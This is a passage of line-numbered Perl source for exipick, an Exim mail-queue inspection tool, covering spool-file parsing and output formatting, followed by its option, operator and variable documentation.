\\$self->{_vars}{sender_set_untrusted} = 1;\n970       } elsif (\\$tag eq '-tls_certificate_verified') {\n971         \\$self->{_vars}{tls_certificate_verified} = 1;\n972       } elsif (\\$tag eq '-tls_cipher') {\n973         \\$self->{_vars}{tls_cipher} = \\$arg;\n974       } elsif (\\$tag eq '-tls_peerdn') {\n975         \\$self->{_vars}{tls_peerdn} = \\$arg;\n976       } elsif (\\$tag eq '-tls_sni') {\n977         \\$self->{_vars}{tls_sni} = \\$arg;\n978       } elsif (\\$tag eq '-host_address') {\n979         \\$self->{_vars}{sender_host_port} = \\$self->_get_host_and_port(\\\\$arg);\n980         \\$self->{_vars}{sender_host_address} = \\$arg;\n981       } elsif (\\$tag eq '-interface_address') {\n982         \\$self->{_vars}{received_port} =\n983             \\$self->{_vars}{interface_port} = \\$self->_get_host_and_port(\\\\$arg);\n984         \\$self->{_vars}{received_ip_address} =\n985             \\$self->{_vars}{interface_address} = \\$arg;\n986       } elsif (\\$tag eq '-active_hostname') {\n987         \\$self->{_vars}{smtp_active_hostname} = \\$arg;\n988       } elsif (\\$tag eq '-host_auth') {\n989         \\$self->{_vars}{sender_host_authenticated} = \\$arg;\n990       } elsif (\\$tag eq '-host_name') {\n991         \\$self->{_vars}{sender_host_name} = \\$arg;\n992       } elsif (\\$tag eq '-helo_name') {\n993         \\$self->{_vars}{sender_helo_name} = \\$arg;\n994       } elsif (\\$tag eq '-ident') {\n995         \\$self->{_vars}{sender_ident} = \\$arg;\n996       } elsif (\\$tag eq '-received_protocol') {\n997         \\$self->{_vars}{received_protocol} = \\$arg;\n998       } elsif (\\$tag eq '-N') {\n999         \\$self->{_vars}{dont_deliver} = 1;\n1000       } else {\n1001         # unrecognized tag, save it for reference\n1002         \\$self->{\\$tag} = \\$arg;\n1003       }\n1004     } else {\n1005       last;\n1006     }\n1007   }\n1009   # when we drop out of the while loop, we have the first line of the\n1010   # delivered tree in \\$_\n1011   do {\n1012     if (\\$_ eq 'XX') {\n1013       ; # noop\n1014     } elsif (\\$_ =~ s/^[YN][YN]\\s+//) {\n1015       \\$self->{_del_tree}{\\$_} = 1;\n1016     } else {\n1017       return(0);\n1018     }\n1019     chomp(\\$_ = <I>);\n1020   } while (\\$_ !~ /^\\d+\\$/);\n1022   \\$self->{_numrecips} = \\$_;\n1023   \\$self->{_vars}{recipients_count} = \\$self->{_numrecips};\n1024   for (my \\$i = 0; \\$i < \\$self->{_numrecips}; \\$i++) {\n1025     chomp(\\$_ = <I>);\n1026     return(0) if (/^\\$/);\n1027     my \\$addr = '';\n1028     if (/^(.*)\\s\\d+,(\\d+),\\d+\\$/) {\n1029       #print STDERR \"exim3 type (untested): \\$_\\n\";\n1030       \\$self->{_recips}{\\$1} = { pno => \\$2 };\n1031       \\$addr = \\$1;\n1032     } elsif (/^(.*)\\s(\\d+)\\$/) {\n1033       #print STDERR \"exim4 original type (untested): \\$_\\n\";\n1034       \\$self->{_recips}{\\$1} = { pno => \\$2 };\n1035       \\$addr = \\$1;\n1036     } elsif (/^(.*)\\s(.*)\\s(\\d+),(\\d+)#1\\$/) {\n1037       #print STDERR \"exim4 new type #1 (untested): \\$_\\n\";\n1038       return(\\$self->_error(\"incorrect format: \\$_\")) if (length(\\$2) != \\$3);\n1039       \\$self->{_recips}{\\$1} = { pno => \\$4, errors_to => \\$2 };\n1040       \\$addr = \\$1;\n1041     } elsif (/^(\\S*)\\s(\\S*)\\s(\\d+),(\\d+)\\s(\\S*)\\s(\\d+),(-?\\d+)#3\\$/) {\n1042       #print STDERR \"exim4 new type #3 DSN (untested): \\$_\\n\";\n1043       return(\\$self->_error(\"incorrect format: \\$_\"))\n1044         if ((length(\\$2) != \\$3) || (length(\\$5) != \\$6));\n1045       \\$self->{_recips}{\\$1} = { pno => \\$7, errors_to => \\$5 };\n1046       \\$addr = \\$1;\n1047     } elsif (/^.*#(\\d+)\\$/) {\n1048       #print STDERR \"exim4 #\\$1 style (unimplemented): \\$_\\n\";\n1049       \\$self->_error(\"exim4 #\\$1 style (unimplemented): \\$_\");\n1050     } else {\n1051       #print STDERR \"default type: \\$_\\n\";\n1052       \\$self->{_recips}{\\$_} = {};\n1053       \\$addr = \\$_;\n1054     }\n1055     \\$self->{_udel_tree}{\\$addr} = 1 if (!\\$self->{_del_tree}{\\$addr});\n1056   }\n1057   \\$self->{_vars}{recipients}         = join(', ', keys(%{\\$self->{_recips}}));\n1058   \\$self->{_vars}{recipients_del}     = join(', ', keys(%{\\$self->{_del_tree}}));\n1059   \\$self->{_vars}{recipients_undel}   = join(', ', keys(%{\\$self->{_udel_tree}}));\n1060   \\$self->{_vars}{recipients_undel_count} = scalar(keys(%{\\$self->{_udel_tree}}));\n1061   \\$self->{_vars}{recipients_del_count}   = 0;\n1062   foreach my \\$r (keys %{\\$self->{_del_tree}}) {\n1063     next if (!\\$self->{_recips}{\\$r});\n1064     \\$self->{_vars}{recipients_del_count}++;\n1065   }\n1067   # blank line\n1068   \\$_ = <I>;\n1069   return(0) if (!/^\\$/);\n1071   # start reading headers\n1072   while (read(I, \\$_, 3) == 3) {\n1073     my \\$t = getc(I);\n1074     return(0) if (!length(\\$t));\n1075     while (\\$t =~ /^\\d\\$/) {\n1076       \\$_ .= \\$t;\n1077       \\$t  = getc(I);\n1078     }\n1079     my \\$hdr_flag  = \\$t;\n1080     my \\$hdr_bytes = \\$_;\n1081     \\$t            = getc(I);              # strip the space out of the file\n1082     return(0) if (read(I, \\$_, \\$hdr_bytes) != \\$hdr_bytes);\n1083     if (\\$hdr_flag ne '*') {\n1084       \\$self->{_vars}{message_linecount} += (tr/\\n//);\n1085       \\$self->{_vars}{message_size}      += \\$hdr_bytes;\n1086     }\n1088     # mark (rb)?header_ vars as existing and store raw value.  They'll be\n1089     # processed further in get_var() if needed\n1090     my(\\$v,\\$d) = split(/:/, \\$_, 2);\n1091     \\$v = \"header_\" . lc(\\$v);\n1092     \\$self->{_vars}{\\$v} = \\$self->{_vars}{\"b\\$v\"} = \\$self->{_vars}{\"r\\$v\"} = undef;\n1093     push(@{\\$self->{_vars_raw}{\"r\\$v\"}{vals}}, \\$d);\n1094     \\$self->{_vars_raw}{\"r\\$v\"}{type} = \\$hdr_flag;\n1095     \\$self->{_vars}{message_headers_raw} .= \\$_;\n1096   }\n1097   close(I);\n1099   \\$self->{_vars}{message_body_size} =\n1100       (stat(\\$self->{_path}.'/'.\\$self->{_message}.'-D')) - 19;\n1101   if (\\$self->{_vars}{message_body_size} < 0) {\n1102     \\$self->{_vars}{message_size} = 0;\n1103     \\$self->{_vars}{message_body_missing} = 1;\n1104   } else {\n1105     \\$self->{_vars}{message_size} += \\$self->{_vars}{message_body_size} + 1;\n1106   }\n1108   \\$self->{_vars}{message_linecount} += \\$self->{_vars}{body_linecount};\n1110   my \\$i = \\$self->{_vars}{message_size};\n1111   if (\\$i == 0)          { \\$i = \"\"; }\n1112   elsif (\\$i < 1024)     { \\$i = sprintf(\"%d\",    \\$i);                    }\n1113   elsif (\\$i < 10240)    { \\$i = sprintf(\"%.1fK\", \\$i / 1024);             }\n1114   elsif (\\$i < 1048576)  { \\$i = sprintf(\"%dK\",   (\\$i+512)/1024);         }\n1115   elsif (\\$i < 10485760) { \\$i = sprintf(\"%.1fM\", \\$i/1048576);            }\n1116   else                  { \\$i = sprintf(\"%dM\",   (\\$i + 524288)/1048576); }\n1117   \\$self->{_vars}{shown_message_size} = \\$i;\n1119   return(1);\n1120 }\n1122 # mimic exim's host_extract_port function - receive a ref to a scalar,\n1123 # strip it of port, return port\n1124 sub _get_host_and_port {\n1125   my \\$self = shift;\n1126   my \\$host = shift; # scalar ref, be careful\n1128   if (\\$\\$host =~ /^\\[([^\\]]+)\\](?:\\:(\\d+))?\\$/) {\n1129     \\$\\$host = \\$1;\n1130     return(\\$2 || 0);\n1131   } elsif (\\$\\$host =~ /^(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})(?:\\.(\\d+))?\\$/) {\n1132     \\$\\$host = \\$1;\n1133     return(\\$2 || 0);\n1134   } elsif (\\$\\$host =~ /^([\\d\\:]+)(?:\\.(\\d+))?\\$/) {\n1135     \\$\\$host = \\$1;\n1136     return(\\$2 || 0);\n1137   }\n1138   # implicit else\n1139   return(0);\n1140 }\n1142 # honoring all formatting preferences, return a scalar variable of the\n1143 # information for the single message matching what exim -bp would show.\n1144 # We can print later if we want.\n1145 sub format_message {\n1146   my \\$self = shift;\n1147   my \\$o    = '';\n1148   return if (\\$self->{_delivered});\n1150   # define any vars we want to print out for this message.  The requests\n1151   # can be regexps, and the defined vars can change for each message, so we\n1152   # have to build this list for each message\n1153   my @vars = ();\n1154   if (@{\\$self->{_show_vars}}) {\n1155     my %t = ();\n1156     foreach my \\$e (@{\\$self->{_show_vars}}) {\n1157       foreach my \\$v (\\$self->get_matching_vars(\\$e)) {\n1158         next if (\\$t{\\$v}); \\$t{\\$v}++; push(@vars, \\$v);\n1159       }\n1160     }\n1161   }\n1163   if (\\$self->{_output_idonly}) {\n1164     \\$o .= \\$self->{_message};\n1165     foreach my \\$v (@vars) { \\$o .= \" \\$v='\" . \\$self->get_var(\\$v) . \"'\"; }\n1166     \\$o .= \"\\n\";\n1167     return \\$o;\n1168   } elsif (\\$self->{_output_vars_only}) {\n1169     foreach my \\$v (@vars) { \\$o .= \\$self->get_var(\\$v) . \"\\n\"; }\n1170     return \\$o;\n1171   }\n1173   if (\\$self->{_output_long} || \\$self->{_output_flatq}) {\n1174     my \\$i = int(\\$self->{_vars}{message_age} / 60);\n1175     if (\\$i > 90) {\n1176       \\$i = int((\\$i+30)/60);\n1177       if (\\$i > 72) { \\$o .= sprintf \"%2dd \", int((\\$i+12)/24); }\n1178       else { \\$o .= sprintf \"%2dh \", \\$i; }\n1179     } else { \\$o .= sprintf \"%2dm \", \\$i; }\n1181     if (\\$self->{_output_flatq} && @vars) {\n1182         \\$o .= join(';', map { \"\\$_='\".\\$self->get_var(\\$_).\"'\" } (@vars)\n1183                   );\n1184     } else {\n1185       \\$o .= sprintf \"%5s\", \\$self->{_vars}{shown_message_size};\n1186     }\n1187     \\$o .= \" \";\n1188   }\n1189   \\$o .= \"\\$self->{_message} \";\n1190   \\$o .= \"From: \" if (\\$self->{_output_brief});\n1191   \\$o .= \"<\\$self->{_vars}{sender_address}>\";\n1193   if (\\$self->{_output_long}) {\n1194     \\$o .= \" (\\$self->{_vars}{originator_login})\"\n1195         if (\\$self->{_vars}{sender_set_untrusted});\n1197     # XXX exim contains code here to print spool format errors\n1198     \\$o .= \" *** frozen ***\" if (\\$self->{_vars}{deliver_freeze});\n1199     \\$o .= \"\\n\";\n1201     foreach my \\$v (@vars) {\n1202       \\$o .= sprintf \"  %25s = '%s'\\n\", \\$v, \\$self->get_var(\\$v);\n1203     }\n1205     foreach my \\$r (keys %{\\$self->{_recips}}) {\n1206       next if (\\$self->{_del_tree}{\\$r} && \\$self->{_undelivered_only});\n1207       \\$o .= sprintf \"        %s %s\\n\", \\$self->{_del_tree}{\\$r} ? \"D\" : \" \", \\$r;\n1208     }\n1209     if (\\$self->{_show_generated}) {\n1210       foreach my \\$r (keys %{\\$self->{_del_tree}}) {\n1211         next if (\\$self->{_recips}{\\$r});\n1212         \\$o .= sprintf \"       +D %s\\n\", \\$r;\n1213       }\n1214     }\n1215   } elsif (\\$self->{_output_brief}) {\n1216     my @r = ();\n1217     foreach my \\$r (keys %{\\$self->{_recips}}) {\n1218       next if (\\$self->{_del_tree}{\\$r});\n1219       push(@r, \\$r);\n1220     }\n1221     \\$o .= \" To: \" . join(';', @r);\n1222     if (scalar(@vars)) {\n1223       \\$o .= \" Vars: \".join(';',map { \"\\$_='\".\\$self->get_var(\\$_).\"'\" } (@vars));\n1224     }\n1225   } elsif (\\$self->{_output_flatq}) {\n1226     \\$o .= \" *** frozen ***\" if (\\$self->{_vars}{deliver_freeze});\n1227     my @r = ();\n1228     foreach my \\$r (keys %{\\$self->{_recips}}) {\n1229       next if (\\$self->{_del_tree}{\\$r});\n1230       push(@r, \\$r);\n1231     }\n1232     \\$o .= \" \" . join(' ', @r);\n1233   }\n1235   \\$o .= \"\\n\";\n1236   return(\\$o);\n1237 }\n1239 sub print_message {\n1240   my \\$self = shift;\n1241   my \\$fh   = shift || \\*STDOUT;\n1242   return if (\\$self->{_delivered});\n1244   print \\$fh \\$self->format_message();\n1245 }\n1247 sub dump {\n1248   my \\$self = shift;\n1250   foreach my \\$k (sort keys %\\$self) {\n1251     my \\$r = ref(\\$self->{\\$k});\n1252     if (\\$r eq 'ARRAY') {\n1253       printf \"%20s <<EOM\\n\", \\$k;\n1254       print @{\\$self->{\\$k}}, \"EOM\\n\";\n1255     } elsif (\\$r eq 'HASH') {\n1256       printf \"%20s <<EOM\\n\", \\$k;\n1257       foreach (sort keys %{\\$self->{\\$k}}) {\n1258         printf \"%20s %s\\n\", \\$_, \\$self->{\\$k}{\\$_};\n1259       }\n1260       print \"EOM\\n\";\n1261     } else {\n1262       printf \"%20s %s\\n\", \\$k, \\$self->{\\$k};\n1263     }\n1264   }\n1265 }\n1267 } # BEGIN\n1269 sub ext_usage {\n1270   if (\\$ARGV =~ /^--help\\$/i) {\n1271     require Config;\n1272     \\$ENV{PATH} .= \":\" unless \\$ENV{PATH} eq \"\";\n1273     \\$ENV{PATH} = \"\\$ENV{PATH}\\$Config::Config{'installscript'}\";\n1274     #exec(\"perldoc\", \"-F\", \"-U\", \\$0) || exit 1;\n1275     \\$< = \\$> = 1 if (\\$> == 0 || \\$< == 0);\n1276     exec(\"perldoc\", \\$0) || exit 1;\n1277     # make parser happy\n1278     %Config::Config = ();\n1279   } elsif (\\$ARGV =~ /^--version\\$/i) {\n1280     print \"\\$p_name version \\$p_version\\n\\n\\$p_cp\\n\";\n1281   } else {\n1282     return;\n1283   }\n1285   exit(0);\n1286 }\n1288 __END__\n1290 =head1 NAME\n1292 exipick - selectively display messages from an Exim queue\n1294 =head1 SYNOPSIS\n1296 exipick [<options>] [<criterion> [<criterion> ...]]\n1298 =head1 DESCRIPTION\n1300 B<exipick> is a tool to display messages in an Exim queue.  It is very similar to exiqgrep and is, in fact, a drop in replacement for exiqgrep.  B<exipick> allows you to select messages to be displayed using any piece of data stored in an Exim spool file.  Matching messages can be displayed in a variety of formats.\n1302 =head1 QUICK START\n1304 Delete every frozen message from queue:\n1306     exipick -zi | xargs exim -Mrm\n1308 Show only messages which have not yet been virus scanned:\n1310     exipick '\\$received_protocol ne virus-scanned'\n1312 Run the queue in a semi-random order:\n1314     exipick -i --random | xargs exim -M\n1316 Show the count and total size of all messages which either originated from localhost or have a received protocol of 'local':\n1318     exipick --or --size --bpc \\\n1319             '\\$sender_host_address eq 127.0.0.1' \\\n1320             '\\$received_protocol eq local'\n1322 Display all messages received on the MSA port, ordered first by the sender's email domain and then by the size of the emails:\n1324     exipick --sort sender_address_domain,message_size \\\n1325             '\\$received_port == 587'\n1327 Display only messages whose every recipient is in the example.com domain, also listing the IP address of the sending host:\n1329     exipick --show-vars sender_host_address \\\n1330             '\\$each_recipients = example.com'\n1332 Same as above, but show values for all defined variables starting with sender_ and the number of recipients:\n1334     exipick --show-vars ^sender_,recipients_count \\\n1335             '\\$each_recipients = example.com'\n1337 =head1 OPTIONS\n1339 =over 4\n1341 =item B<--and>\n1343 Display messages matching all criteria (default)\n1345 =item B<-b>\n1347 Display messages in brief format (exiqgrep)\n1349 =item B<-bp> | B<-l>\n1351 Display messages in standard mailq format (default).\n1352 (exiqgrep: C<-l>)\n1354 =item B<-bpa>\n1356 Same as C<-bp>, show generated addresses also (exim)\n1358 =item B<-bpc>\n1360 Show a count of matching messages (exim)\n1362 =item B<-bpr>\n1364 Same as C<-bp --unsorted> (exim)\n1366 =item B<-bpra>\n1368 Same as C<-bpa --unsorted> (exim)\n1370 =item B<-bpru>\n1372 Same as C<-bpu --unsorted> (exim)\n1374 =item B<-bpu>\n1376 Same as C<-bp>, but only show undelivered messages (exim)\n1378 =item B<-C> | B<--config> I<config>\n1380 Use I<config> to determine the proper spool directory. (See C<--spool>\n1381 or C<--input> for alternative ways to specify the directories to operate on.)\n1383 =item B<-c>\n1385 Show a count of matching messages (exiqgrep)\n1387 =item B<--caseful>\n1389 Make operators involving C<=> honor case\n1391 =item B<--charset>\n1393 Override the default local character set for C<\\$header_> decoding\n1395 =item B<-f> I<regexp>\n1397 Same as C<< \\$sender_address =~ /<regexp>/ >> (exiqgrep).  Note that this preserves the default case sensitivity of exiqgrep's interface.\n1399 =item B<--finput>\n1401 Same as C<--input-dir Finput>.  F<Finput> is where exim copies frozen messages when compiled with SUPPORT_MOVE_FROZEN_MESSAGES.\n1403 =item B<--flatq>\n1405 Use a single-line output format\n1407 =item B<--freeze> I<cache file>\n1409 Save queue information in an quickly retrievable format\n1411 =item B<--help>\n1413 Display this output\n1415 =item B<-i>\n1417 Display only the message IDs (exiqgrep)\n1419 =item B<--input-dir> I<inputname>\n1421 Set the name of the directory under the spool directory.  By default this is F<input>.  If this starts with F</>,\n1422 the value of C<--spool> is ignored.  See also C<--finput>.\n1424 =item B<--not>\n1426 Negate all tests.\n1428 =item B<-o> I<seconds>\n1430 Same as C<< \\$message_age > <seconds> >> (exiqgrep)\n1432 =item B<--or>\n1434 Display messages matching any criteria\n1436 =item B<--queue> I<name>\n1438 Name of the queue (default: ''). See \"named queues\" in the spec.\n1440 =item B<-r> I<regexp>\n1442 Same as C<< \\$recipients =~ /<regexp>/ >> (exiqgrep).  Note that this preserves the default case sensitivity of exiqgrep's interface.\n1444 =item B<--random>\n1446 Display messages in random order\n1448 =item B<--reverse> | B<-R>\n1450 Display messages in reverse order (exiqgrep: C<-R>)\n1452 =item B<-s> I<string>\n1454 Same as C<< \\$shown_message_size eq <string> >> (exiqgrep)\n1456 =item B<--spool> I<path>\n1458 Set the path to the exim spool to use.  This value will have the arguments to C<--queue>, and C<--input> or F<input> appended, or be ignored if C<--input> is a full path. If not specified, B<exipick> uses the value from C<exim [-C config] -n -bP spool_directory>, and if this call fails, the  F</opt/exim/spool> from build time (F<Local/Makefile>) is used. See also C<--config>.\n1460 =item B<--show-rules>\n1462 Show the internal representation of each criterion specified\n1464 =item B<--show-tests>\n1466 Show the result of each criterion on each message\n1468 =item B<--show-vars> I<variable>[,I<variable>...]\n1470 Show the value for I<variable> for each displayed message.  I<variable> will be a regular expression if it begins with a circumflex.\n1472 =item B<--size>\n1474 Show the total bytes used by each displayed message\n1476 =item B<--thaw> I<cache file>\n1478 Read queue information cached from a previous C<--freeze> run\n1480 =item B<--sort> I<variable>[,I<variable>...]\n1482 Display matching messages sorted according to I<variable>\n1484 =item B<--unsorted>\n1486 Do not apply any sorting to output\n1488 =item B<--version>\n1490 Display the version of this command\n1492 =item B<-x>\n1494 Same as C<!\\$deliver_freeze> (exiqgrep)\n1496 =item B<-y>\n1498 Same as C<< \\$message_age < <seconds> >> (exiqgrep)\n1500 =item B<-z>\n1502 Same as C<\\$deliver_freeze> (exiqgrep)\n1504 =back\n1506 =head1 CRITERIA\n1508 B<Exipick> decides which messages to display by applying a test against each message.  The rules take the general form of \"I<VARIABLE> I<OPERATOR> I<VALUE>\".  For example, C<< \\$message_age > 60 >>.  When B<exipick> is deciding which messages to display, it checks the C<\\$message_age> variable for each message.  If a message's age is greater than 60, the message will be displayed.  If the message's age is 60 or less seconds, it will not be displayed.\n1510 Multiple criteria can be used.  The order they are specified does not matter.  By default all criteria must evaluate to true for a message to be displayed.  If the C<--or> option is used, a message is displayed as long as any of the criteria evaluate to true.\n1512 See the VARIABLES and OPERATORS sections below for more details\n1514 =head1 OPERATORS\n1516 =over 4\n1518 =item BOOLEAN\n1520 Boolean variables are checked simply by being true or false.  There is no real operator except negation.  Examples of valid boolean tests:\n1522   \\$deliver_freeze\n1523   !\\$deliver_freeze\n1525 =item NUMERIC\n1527 Valid comparisons are <, <=, >, >=, ==, and !=.  Numbers can be integers or floats.  Any number in a test suffixed with d, h, m, s, M, K, or B will be multiplied by 86400, 3600, 60, 1, 1048576, 1024, or 1 respectively.  Examples of valid numeric tests:\n1529   \\$message_age >= 3d\n1530   \\$local_interface == 587\n1531   \\$message_size < 30K\n1533 =item STRING\n1535 The string operators are =, eq, ne, =~, and !~.  With the exception of C<< = >>, the operators all match the functionality of the like-named perl operators.  eq and ne match a string exactly.  !~, =~, and = apply a perl regular expression to a string.  The C<< = >> operator behaves just like =~ but you are not required to place // around the regular expression.  Examples of valid string tests:\n1537   \\$received_protocol eq esmtp\n1538   \\$sender_address = example.com\n1539   \\$each_recipients =~ /^a[a-z]{2,3}@example.com\\$/\n1541 =item NEGATION\n1543 There are many ways to negate tests, each having a reason for existing.  Many tests can be negated using native operators.  For instance, >1 is the opposite of <=1 and eq and ne are opposites.  In addition, each individual test can be negated by adding a ! at the beginning of the test.  For instance, C<< !\\$acl_m1 =~ /^DENY\\$/ >> is the same as C<< \\$acl_m1 !~ /^DENY\\$/ >>.  Finally, every test can be specified by using the command line argument C<--not>.  This is functionally equivalent to adding a ! to the beginning of every test.\n1545 =back\n1547 =head1 VARIABLES\n1549 With a few exceptions the available variables match Exim's internal expansion variables in both name and exact contents.  There are a few notable additions and format deviations which are noted below.  Although a brief explanation is offered below, Exim's spec.txt should be consulted for full details.  It is important to remember that not every variable will be defined for every message.  For example, \\$sender_host_port is not defined for messages not received from a remote host.\n1551 Internally, all variables are represented as strings, meaning any operator will work on any variable.  This means that C<< \\$sender_host_name > 4 >> is a legal criterion, even if it does not produce meaningful results.  Variables in the list below are marked with a 'type' to help in choosing which types of operators make sense to use.\n1553   Identifiers\n1554     B - Boolean variables\n1555     S - String variables\n1556     N - Numeric variables\n1557     . - Standard variable matching Exim's content definition\n1558     # - Standard variable, contents differ from Exim's definition\n1559     + - Non-standard variable\n1561 =over 4\n1563 =item S . B<\\$acl_c0>-B<\\$acl_c9>, B<\\$acl_m0>-B<\\$acl_m9>\n1565 User definable variables.\n1567 =item B + B<\\$allow_unqualified_recipient>\n1569 TRUE if unqualified recipient addresses are permitted in header lines.\n1571 =item B + B<\\$allow_unqualified_sender>\n1573 TRUE if unqualified sender addresses are permitted in header lines.\n1575 =item S . B<\\$authenticated_id>\n1577 Optional saved information from authenticators, or the login name of the calling process for locally submitted messages.\n1579 =item S . B<\\$authenticated_sender>\n1581 The value of AUTH= param for smtp messages, or a generated value from the calling processes login and qualify domain for locally submitted messages.\n1583 =item S . B<\\$bheader_*>, B<\\$bh_*>\n1585 Value of the header(s) with the same name with any RFC2047 words decoded if present.  See section 11.5 of Exim's spec.txt for full details.\n1587 =item S + B<\\$bmi_verdicts>\n1589 The verdict string provided by a Brightmail content scan\n1591 =item N . B<\\$body_linecount>\n1593 The number of lines in the message's body.\n1595 =item N . B<\\$body_zerocount>\n1597 The number of binary zero bytes in the message's body.\n1599 =item S + B<\\$data_path>\n1601 The path to the body file's location in the filesystem.\n1603 =item B + B<\\$deliver_freeze>\n1605 TRUE if the message is currently frozen.\n1607 =item N + B<\\$deliver_frozen_at>\n1609 The epoch time at which message was frozen.\n1611 =item B + B<\\$dont_deliver>\n1613 TRUE if, under normal circumstances, Exim will not try to deliver the message.\n1615 =item S + B<\\$each_recipients>\n1617 This is a pseudo variable which allows you to apply a test against each address in \\$recipients individually.  Whereas C<< \\$recipients =~ /@aol.com/ >> will match if any recipient address contains aol.com, C<< \\$each_recipients =~ /@aol.com\\$/ >> will only be true if every recipient matches that pattern.  Note that this obeys C<--and> or C<--or> being set.  Using it with C<--or> is very similar to just matching against \\$recipients, but with the added benefit of being able to use anchors at the beginning and end of each recipient address.\n1619 =item S + B<\\$each_recipients_del>\n1621 Like \\$each_recipients, but for \\$recipients_del\n1623 =item S + B<\\$each_recipients_undel>\n1625 Like \\$each_recipients, but for \\$recipients_undel\n1627 =item B . B<\\$first_delivery>\n1629 TRUE if the message has never been deferred.\n1631 =item S . B<\\$header_*>, B<\\$h_*>\n1633 This will always match the contents of the corresponding \\$bheader_* variable currently (the same behaviour Exim displays when iconv is not installed).\n1635 =item S + B<\\$header_path>\n1637 The path to the header file's location in the filesystem.\n1639 =item B . B<\\$host_lookup_deferred>\n1641 TRUE if there was an attempt to look up the host's name from its IP address, but an error occurred that during the attempt.\n1643 =item B . B<\\$host_lookup_failed>\n1645 TRUE if there was an attempt to look up the host's name from its IP address, but the attempt returned a negative result.\n1647 =item B + B<\\$local_error_message>\n1649 TRUE if the message is a locally-generated error message.\n1651 =item S . B<\\$local_scan_data>\n1653 The text returned by the local_scan() function when a message is received.\n1655 =item B . B<\\$manually_thawed>\n1657 TRUE when the message has been manually thawed.\n1659 =item N . B<\\$max_received_linelength>\n1661 The number of bytes in the longest line that was received as part of the message, not counting line termination characters.\n1663 =item N . B<\\$message_age>\n1665 The number of seconds since the message was received.\n1667 =item S # B<\\$message_body>\n1669 The message's body.  Unlike Exim's variable of the same name, this variable contains the entire message body.  Newlines and nulls are replaced by spaces.\n1671 =item B + B<\\$message_body_missing>\n1673 TRUE is a message's spool data file (-D file) is missing or unreadable.\n1675 =item N . B<\\$message_body_size>\n1677 The size of the body in bytes.\n1679 =item S . B<\\$message_exim_id>, B<\\$message_id>\n1681 The unique message id that is used by Exim to identify the message.  \\$message_id is deprecated as of Exim 4.53.\n1683 =item S . B<\\$message_headers>\n1685 A concatenation of all the header lines except for lines added by routers or transports.  RFC2047 decoding is performed\n1687 =item S . B<\\$message_headers_raw>\n1689 A concatenation of all the header lines except for lines added by routers or transports.  No decoding or translation is performed.\n1691 =item N . B<\\$message_linecount>\n1693 The number of lines in the entire message (body and headers).\n1695 =item N . B<\\$message_size>\n1697 The size of the message in bytes.\n1699 =item N . B<\\$originator_gid>\n1701 The group id under which the process that called Exim was running as when the message was received.\n1703 =item S + B<\\$originator_login>\n1705 The login of the process which called Exim.\n1707 =item N . B<\\$originator_uid>\n1709 The user id under which the process that called Exim was running as when the message was received.\n1711 =item S . B<\\$received_ip_address>, B<\\$interface_address>\n1713 The address of the local IP interface for network-originated messages.  \\$interface_address is deprecated as of Exim 4.64\n1715 =item N . B<\\$received_port>, B<\\$interface_port>\n1717 The local port number if network-originated messages.  \\$interface_port is deprecated as of Exim 4.64\n1719 =item N . B<\\$received_count>\n1721 The number of Received: header lines in the message.\n1723 =item S . B<\\$received_protocol>\n1725 The name of the protocol by which the message was received.\n1727 =item N . B<\\$received_time>\n1729 The epoch time at which the message was received.\n1731 =item S # B<\\$recipients>\n1733 The list of envelope recipients for a message.  Unlike Exim's version, this variable always contains every recipient of the message.  The recipients are separated by a comma and a space.  See also \\$each_recipients.\n1735 =item N . B<\\$recipients_count>\n1737 The number of envelope recipients for the message.\n1739 =item S + B<\\$recipients_del>\n1741 The list of delivered envelope recipients for a message.  This non-standard variable is in the same format as \\$recipients and contains the list of already-delivered recipients including any generated addresses.  See also \\$each_recipients_del.\n1743 =item N + B<\\$recipients_del_count>\n1745 The number of envelope recipients for the message which have already been delivered.  Note that this is the count of original recipients to which the message has been delivered.  It does not include generated addresses so it is possible that this number will be less than the number of addresses in the \\$recipients_del string.\n1747 =item S + B<\\$recipients_undel>\n1749 The list of undelivered envelope recipients for a message.  This non-standard variable is in the same format as \\$recipients and contains the list of undelivered recipients.  See also \\$each_recipients_undel.\n1751 =item N + B<\\$recipients_undel_count>\n1753 The number of envelope recipients for the message which have not yet been delivered.\n1755 =item S . B<\\$reply_address>\n1757 The contents of the Reply-To: header line if one exists and it is not empty, or otherwise the contents of the From: header line.\n1759 =item S . B<\\$rheader_*>, B<\\$rh_*>\n1761 The value of the message's header(s) with the same name.  See section 11.5 of Exim's spec.txt for full description.\n1763 =item S . B<\\$sender_address>\n1765 The sender's address that was received in the message's envelope.  For bounce messages, the value of this variable is the empty string.\n1767 =item S . B<\\$sender_address_domain>\n1769 The domain part of \\$sender_address.\n1771 =item S . B<\\$sender_address_local_part>\n1773 The local part of \\$sender_address.\n1775 =item S . B<\\$sender_helo_name>\n1777 The HELO or EHLO value supplied for smtp or bsmtp messages.\n1779 =item S . B<\\$sender_host_address>\n1781 The remote host's IP address.\n1783 =item S . B<\\$sender_host_authenticated>\n1785 The name of the authenticator driver which successfully authenticated the client from which the message was received.\n1787 =item S . B<\\$sender_host_name>\n1789 The remote host's name as obtained by looking up its IP address.\n1791 =item N . B<\\$sender_host_port>\n1793 The port number that was used on the remote host for network-originated messages.\n1795 =item S . B<\\$sender_ident>\n1797 The identification received in response to an RFC 1413 request for remote messages, the login name of the user that called Exim for locally generated messages.\n1799 =item B + B<\\$sender_local>\n1801 TRUE if the message was locally generated.\n1803 =item B + B<\\$sender_set_untrusted>\n1805 TRUE if the envelope sender of this message was set by an untrusted local caller.\n1807 =item S + B<\\$shown_message_size>\n1809 This non-standard variable contains the formatted size string.  That is, for a message whose \\$message_size is 66566 bytes, \\$shown_message_size is 65K.\n1811 =item S . B<\\$smtp_active_hostname>\n1813 The value of the active host name when the message was received, as specified by the \"smtp_active_hostname\" option.\n1815 =item S . B<\\$spam_score>\n1817 The spam score of the message, for example '3.4' or '30.5'.  (Requires exiscan or WITH_CONTENT_SCAN)\n1819 =item S . B<\\$spam_score_int>\n1821 The spam score of the message, multiplied by ten, as an integer value.  For instance '34' or '305'.  (Requires exiscan or WITH_CONTENT_SCAN)\n1823 =item B . B<\\$tls_certificate_verified>\n1825 TRUE if a TLS certificate was verified when the message was received.\n1827 =item S . B<\\$tls_cipher>\n1829 The cipher suite that was negotiated for encrypted SMTP connections.\n1831 =item S . B<\\$tls_peerdn>\n1833 The value of the Distinguished Name of the certificate if Exim is configured to request one\n1835 =item S . B<\\$tls_sni>\n1837 The value of the Server Name Indication TLS extension sent by a client, if one was sent.\n1839 =item N + 